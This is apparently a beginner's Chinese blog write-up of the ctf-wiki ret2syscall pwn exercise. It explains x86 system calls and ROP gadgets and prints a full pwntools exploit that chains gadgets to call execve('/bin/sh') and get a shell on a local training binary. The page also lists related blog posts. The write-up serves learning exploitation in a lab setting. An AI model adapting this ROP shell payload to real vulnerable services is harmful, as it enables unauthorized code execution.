basic ROP-浅谈ret2syscall原理[ctf-wiki]

pwn小白入门05---ret2syscall ret2syscall ROP原理: 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。 gadget: 所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。 阅读详情

一道简单的ctf-wiki上的基本ROP题目。
原理:控制程序执行系统调用,获取 shell。

传送门

0x01

预备知识:

系统调用通过 int 80h 实现,应用程序调用系统调用的过程是:
1.把系统调用的编号存入 EAX;
2.把函数参数存入其它通用寄存器;
3.触发 0x80 号中断。

execve函数:
在这里插入图片描述
详见:execve函数

0x02

解题步骤:

首先检查:
在这里插入图片描述

ida打开之后,没有system函数,只有binsh关键字,开启NX保护。
需要构造execve(“/bin/sh”, 0,0);
其中,系统调用号可以通过指令

cat /usr/include/asm/unistd_32.h | grep execve

实现。
在这里插入图片描述

由图可知,现在execve系统调用号位:11,对应0xb。
所以我们需要将:
0xb ->eax
/bin/sh->ebx
NULL->ecx
NULL->edx
如此一来,我们就可以构造出:
execve(“/bin/sh”,0,0)
如图:
112*'a'+p32(pop_eax_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(binsh_ad

我们可以通过pop eax ,来让eax中放0xb,其他寄存器同理。
从而我们可以得出payload=112*'a'+p32(pop_eax_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(binsh_addr)+p32(int_0x80_addr)
接下来就是求出各个地址。

0x03

使用ROPgadget工具具体实现:
ROPgadget,我们可以通过此工具来快速实现代码查找,常见命令如下:
在这里插入图片描述

  1. 找到int 0x80地址:指令# ROPgadget --binary rop --only ‘int’
    在这里插入图片描述

同理,我们能够找到pop_eax_addr:
在这里插入图片描述

同理,我们能够找到其他寄存器的返回地址:
(这里我们直接找到了pop_edx_ecx_ebx_addr_ret_addr)。
在这里插入图片描述

同时,使用cyclic工具,可以测量出偏移量:112。
在这里插入图片描述

从而编写exp:

结果:

完整exp:

from pwn import *
lzh=process("rop")
#lzh=remote(" ",)
binsh_addr=0x080be408
pop_eax_addr=0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_0x80_addr=0x08049421
payload=112*'a'+p32(pop_eax_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(binsh_addr)+p32(int_0x80_addr)
lzh.sendline(payload)
lzh.interactive()

0x04

pwn小白初学者,如有错误请各位师傅指正。

【PWN · ret2syscall】[Wiki] ret2syscall 虽然网上(包括优快云)有很多ret2syscall的例题,但大多是Wiki,且摘自官方题解蒟蒻想从自己的“碰南墙“的历程出发,以蒟蒻萌新的视角,述说蒟蒻萌新的新路历程~~ 阅读详情

相关推荐

[二进制安全学习]ret2syscall

文章目录写在前面ret2syscall参考文章 写在前面 今天再冲一个就歇息了 ret2syscall Ret2Syscall,即控制程序执行系统调用,进而获取shell 老规矩checksec 可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码,存在栈溢出 分析偏移 可以推断 s 的地址为0xffffd16c s 相对于 ebp 的偏移为0x6c s 相对于返回地址的偏移为 0x6c+4 我们利用如下系统调用来获取 shell execve("/bin/sh",NU

Y4tacker的博客 728

栈溢出入门03 ret2syscall ROP NX绕过

ret2syscall 函数栈动态变化

砖家 1414

ESP32Servo库驱动SG90舵机:从入门到精准控制

本文详细介绍了如何使用ESP32Servo库驱动SG90舵机,从硬件连接到软件环境搭建,再到编写示例程序实现精准控制。内容涵盖库安装、基础驱动代码解析、舵机校准方法以及平滑运动控制,帮助开发者快速掌握ESP32控制舵机的核心技能,并提供了电源管理、信号抗干扰等实用避坑指南。

ik678901的博客 897

ctf wiki rop基础 ret2syscall

内核接收到int 0x80中断后,需要查询IDT表来取出中断处理函数地址,这个地方比较细节的地方是,int 0x80的idt表中的DPL被设置成了3,所以才能从用户态能直接访问int 0x80的中断指令的。个人理解:当出现int 0x80 时候 ,进入内核,可以使用eax ebx,。从而执行对应的系统调用。,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)查看到 eax 和 esp 的值 如下 通过ebp-eax的值。来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式。

weixin_55885866的博客 200

ControlRig蓝图节点对应代码(自用)

用于通过python生成ControlRig蓝图节点,非完整

dicha9的博客 426

(RegionProposal Network)RPN网络结构及详解

RPN(RegionProposal Network)区域生成网络 Faster-RCNN的核心。在这里整理。 1.anchors。 特征可以看做一个尺度51*39的256通道图像,对于该图像的每一个位置,考虑9个可能的候选窗口:三种面积{128,256,512}×{128,256,512}×三种比例{1:1,1:2,2:1}{1:1,1:2,2:1}。这些候选窗口称为anchors...

凹酱的DEEP LEARNING 19万+

基础ROP之:ret2text,ret2libc,ret2syscall,ret2shellcode

在上一篇文章中学习了gdb和pwntools的基本使用后,这篇文章来带领大家入门pwn,包括:ret2text,ret2libc,ret2syscall,ret2shellcode。

WdIg-2023的博客 2179

CANoe VLAN配置的艺术:如何通过脚本自动化实现高效车载网络测试

本文深入探讨了CANoe VLAN配置的自动化实现,通过CAPL脚本与Python工具链的结合,提升车载网络测试效率。重点解析了硬件侧VLAN配置与软件侧VLAN配置的交互机制,并提供了实用的脚本开发示例和调试技巧,帮助工程师快速构建高效的自动化测试方案。

qqq44的博客 616

ret2syscall(pwn第二课)

xo.01 ret2syscall原理ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。xo.02 ROP原理:随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是所谓 gadgets 就是以 ret 结尾的指令序列。例如:pop eax;ret这段代码的作用就是将。

s5555555___的博客 2253

【Matlab】飞行器气动弹性仿真与分析

气动弹性是飞行器设计领域的核心交叉学科,融合了空气动力学、结构动力学和控制理论,主要研究飞行器结构在气动力作用下的弹性变形、振动响应及相互耦合规律,直接影响飞行器的飞行稳定性、操纵性和结构安全性。随着飞行器向高速度、高机动性、轻量化方向发展,气动弹性问题愈发突出,如颤振、发散、嗡鸣等现象,严重时会导致飞行器结构破坏甚至飞行事故,因此气动弹性仿真与分析已成为飞行器设计、验证和优化的关键环节。当前,飞行器气动弹性仿真面临诸多技术挑战:气动力与结构变形的强耦合特性难以精准描述,易出现仿真误差;

unber的博客 233

Python 爬虫实战:模拟登录网易云音乐(加密接口逆向与自动化登录实现)

网易云音乐作为国内主流的音乐流媒体平台,其丰富的音乐资源和个性化推荐算法吸引了大量用户。对于开发者而言,模拟登录网易云音乐并实现自动化操作,可以用于数据分析、歌单同步、歌词抓取等场景。然而,网易云音乐采用了多重加密机制和反爬策略,直接模拟登录存在较大挑战。

yansideyucsdn的博客 2590

ret2syscall

原理 ret2syscall,即控制程序执行系统调用,获取 shell。 步骤 checksec检查是否有保护 可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 ...

qq_44759495的博客 1522

深度学习(五)迁移学习(实战:新数据预测+vgg16和聚类预测)

6、成功引入PCA数据降维技术,剔除了数据中的噪音信息、降低了模型复杂度、减少了模型训练时间,并最终提高了模型表现;gen=datagen.flow_from_directory(path,target_size=(224,224),batch_size=2,save_to_dir=dst_path,save_prefix='gen',save_format='jpg') # 生成图片大小224*224,bs产生多少组图像,存储路径和前缀。1、通过使用新数据,实现了模型的2次训练,达到了较好的预测效果;

weixin_37699342的博客 775

字符串溢出(pwn溢出)--ret2syscall

pwn入门

莫慌的博客 1031

生成自定义工具栏

我们生成了和VBA时代几乎一样的常用的工具栏。用WPF也可以完成以后的插件开发,界面控件编写基本靠自己绘画,还有用代码去控制,代码结构像HTML,做过网站的应该可以很快入手。其它后台C#代码除了对控件代码的控制外,和WinForm基本相同,但目前来看用WPF是生成自定义工具栏的较好的办法。当然,你也可以在工具栏命令中调用WinForm程序,对Coreldraw进行操作,这也应该是比较高效的办法,下次会讨论。资源的加入是本次调试的难点之一,我们的目标是让图片资源嵌入到程序中去,不必去电脑文件目录去调用;

力先生C#程序开发 1374

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Ret2syscall(超详细)

(System Call)是操作系统提供给应用程序的接口,允许应用程序请求操作系统内核执行某些特权操作。由于操作系统内核运行在更高的特权级别(如x86架构中的),普通应用程序(运行在)无法直接访问硬件资源或执行某些敏感操作(如文件读写、进程管理、网络通信等)。因此,应用程序需要通过系统调用来请求内核完成这些操作。我用自己的话说就是设置对应寄存器的值,达到调用系统函数的过程下面是对应的系统调用表Linux X86架构 32 64系统调用表_32位 syscall-优快云博客。

m0_68956519的博客 1427

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

pwn基本ROP——ret2syscall

ret2syscall环境原理系统调用利用方式漏洞分析使用`checksec`指令查看程序保护措施使用IDE32位进行调试payload 环境 ret2syscall 原理 系统调用 系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。 操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。 应用程序调用系统调用的过程是: 1、把系统调用的编号存入 EAX; 1、把函数参数存入其它通用寄存器; 3、触发 0x80

turtlesd的博客 3090

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

8.6ret2syscall

ret2syscall 32&64位

2401_83500274的博客 1004

pwn学习笔记(3)ret2syscall

​ ROP(Return Oriented Programming)返回导向编程,主要思想是通过在程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。

qq_66013948的博客 1186

ret2syscall 入门

系统调用是操作习系统提供给应用程序的一种接口,允许应用程序请求操作系统执行特权指令,如文件操作,网络通信,进程管理等。x86 通过 int 0x80 指令进行系统调用,amd64 通过 syscall 指令进行系统调用比如 write 函数32位汇编代码系统调用号,触发 nr_writemov ebx,1mov edx,13int 0x80;中断触发系统调用‘’

akdelt的博客 679

ret2syscall-执行系统调用

checksec一下:32位程序,没有canary、PIE,开了NX,放入IDA看一下:有gets,可以溢出,不过没有system函数,也不能执行shellcode,查看字符发现有/bin/sh,那就是新学的系统调用。 假设程序中存在下面的代码: 但是程序中并没有这串代码,所以需要使用ROP(返回导向编程)构造,构造方式如下图:简单来说就是需要找到一些零零散散的gadget,然后组装成payload,不过前提是先溢出劫持控制器,这里IDA里给出v4的大小的'0x64',要溢出的话需要'0x68'也就是

yuqie的博客 351

CTFWIKI-PWN-ret2syscall

该题目是在32位下。

m0_64180167的博客 781

栈溢出入门(ret2syscall漏洞与gadget的利用)

这次的课件是有两个ELF文件,分别是由动态编译和静态编译生成的,这里说一下二者的区别就像C语言的#include<stdio.h>包含头文件一样,ELF可执行文件的实际运行也是需要这样的库的,这个库就是 libc.so.6位于/lib/x86_64-linux-gnu目录下运行动态编译的ELF文件时,会动态地调用执行者操作系统中的libc.so.6这个库;而静态编译的程序则在编译时就将这个库给打包一同编译了(之后libc.so.6简称libc)

2301_80718478的博客 1290

ret2syscall简单总结

主要是自己的简单的学习总结。

ULGANOY的博客 1909
上一篇: java求解最大子列和问题
下一篇: 浅谈ROP-ret2libc原理-题目源于[ctfwiki]
p0int3r
博客等级 码龄7年 11粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值